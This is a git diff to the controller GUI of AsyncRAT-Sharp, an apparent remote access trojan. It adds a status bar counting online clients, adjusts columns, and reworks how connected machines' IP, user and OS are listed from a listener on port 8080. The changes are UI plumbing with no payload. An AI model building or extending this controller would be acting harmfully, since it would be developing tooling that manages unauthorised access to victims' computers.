diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.Designer.cs index 7fe46b8..711b19c 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.Designer.cs @@ -35,7 +35,10 @@ this.lv_os = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components); this.sendMessageToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.statusStrip1 = new System.Windows.Forms.StatusStrip(); + this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel(); this.contextMenuStrip1.SuspendLayout(); + this.statusStrip1.SuspendLayout(); this.SuspendLayout(); // // listView1 @@ -55,18 +58,22 @@ this.listView1.TabIndex = 0; this.listView1.UseCompatibleStateImageBehavior = false; this.listView1.View = System.Windows.Forms.View.Details; + this.listView1.Resize += new System.EventHandler(this.listView1_Resize); // // lv_ip // this.lv_ip.Text = "IP"; + this.lv_ip.Width = 150; // // lv_user // this.lv_user.Text = "USER"; + this.lv_user.Width = 150; // // lv_os // this.lv_os.Text = "OS"; + this.lv_os.Width = 300; // // contextMenuStrip1 // @@ -83,17 +90,38 @@ this.sendMessageToolStripMenuItem.Text = "Send Message"; this.sendMessageToolStripMenuItem.Click += new System.EventHandler(this.sendMessageToolStripMenuItem_Click); // + // statusStrip1 + // + this.statusStrip1.ImageScalingSize = new System.Drawing.Size(24, 24); + this.statusStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.toolStripStatusLabel1}); + this.statusStrip1.Location = new System.Drawing.Point(0, 342); + this.statusStrip1.Name = "statusStrip1"; + this.statusStrip1.Size = new System.Drawing.Size(849, 30); + this.statusStrip1.TabIndex = 1; + this.statusStrip1.Text = "statusStrip1"; + // + // toolStripStatusLabel1 + // + this.toolStripStatusLabel1.Name = "toolStripStatusLabel1"; + this.toolStripStatusLabel1.Size = new System.Drawing.Size(24, 25); + this.toolStripStatusLabel1.Text = "..."; + // // Form1 // this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.ClientSize = new System.Drawing.Size(849, 372); + this.Controls.Add(this.statusStrip1); this.Controls.Add(this.listView1); this.Name = "Form1"; this.Text = "AsyncRAT-Sharp // NYAN CAT"; this.Load += new System.EventHandler(this.Form1_Load); this.contextMenuStrip1.ResumeLayout(false); + this.statusStrip1.ResumeLayout(false); + this.statusStrip1.PerformLayout(); this.ResumeLayout(false); + this.PerformLayout(); } @@ -105,6 +133,8 @@ private System.Windows.Forms.ColumnHeader lv_os; private System.Windows.Forms.ContextMenuStrip contextMenuStrip1; private System.Windows.Forms.ToolStripMenuItem sendMessageToolStripMenuItem; + private System.Windows.Forms.StatusStrip statusStrip1; + private System.Windows.Forms.ToolStripStatusLabel toolStripStatusLabel1; } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs index b77faa2..fec5819 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs @@ -2,7 +2,9 @@ using System.Windows.Forms; using AsyncRAT_Sharp.MessagePack; using AsyncRAT_Sharp.Sockets; +using System.Threading.Tasks; using Microsoft.VisualBasic; + namespace AsyncRAT_Sharp { public partial class Form1 : Form @@ -12,12 +14,16 @@ namespace AsyncRAT_Sharp InitializeComponent(); } - private void Form1_Load(object sender, EventArgs e) + async private void Form1_Load(object sender, EventArgs e) { - Handle_Packet.HandlePacket.Form = this; - Listener listener = new Listener(); listener.Connect(8080); + + while (true) + { + await Task.Delay(1000); + toolStripStatusLabel1.Text = String.Format("Online {0}", listView1.Items.Count.ToString()); + } } private void sendMessageToolStripMenuItem_Click(object sender, EventArgs e) @@ -37,5 +43,10 @@ namespace AsyncRAT_Sharp } } } + + private void listView1_Resize(object sender, EventArgs e) + { + listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); + } } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.resx index ad53752..0f48af9 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.resx +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.resx @@ -120,4 +120,7 @@ 17, 17 + + 234, 17 + \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs index 0df8860..cf8bcda 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs @@ -1,34 +1,30 @@ using AsyncRAT_Sharp.Sockets; using System.Windows.Forms; using AsyncRAT_Sharp.MessagePack; +using System; namespace AsyncRAT_Sharp.Handle_Packet { class HandlePacket { - public static Form1 Form; - public delegate void UpdateListViewDelegatevoid(Clients Client, byte[] Data); - public static void Read(Clients Client, byte[] Data) + public static void Read(Clients client, byte[] data) { MsgPack unpack_msgpack = new MsgPack(); - unpack_msgpack.DecodeFromBytes(Data); + unpack_msgpack.DecodeFromBytes(data); switch (unpack_msgpack.ForcePathObject("Packet").AsString) { case "ClientInfo": - if (Form.listView1.InvokeRequired) - Form.listView1.Invoke(new UpdateListViewDelegatevoid(Read), new object[] {Client, Data}); - else - { - Client.LV = new ListViewItem(); - Client.LV.Tag = Client; - Client.LV.Text = string.Concat(Client.client.RemoteEndPoint.ToString()); - Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString); - Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString); - Form.listView1.Items.Insert(0, Client.LV); - Form.listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); - } - break; + Program.form1.Invoke((MethodInvoker)delegate () + { + client.LV = new ListViewItem(); + client.LV.Tag = client; + client.LV.Text = string.Concat(client.client.RemoteEndPoint.ToString()); + client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString); + client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString); + Program.form1.listView1.Items.Insert(0, client.LV); + }); + break; } } } -} +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Program.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Program.cs index c2d3c65..1dec6ce 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Program.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Program.cs @@ -16,7 +16,9 @@ namespace AsyncRAT_Sharp { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); - Application.Run(new Form1()); + form1 = new Form1(); + Application.Run(form1); } + public static Form1 form1; } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs index 8b14bd5..d81df9f 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs @@ -89,8 +89,8 @@ namespace AsyncRAT_Sharp.Sockets delegate void _isDisconnected(); public void Disconnected() { - if (HandlePacket.Form.listView1.InvokeRequired) - HandlePacket.Form.listView1.Invoke(new _isDisconnected(Disconnected)); + if (Program.form1.listView1.InvokeRequired) + Program.form1.listView1.Invoke(new _isDisconnected(Disconnected)); else { LV.Remove();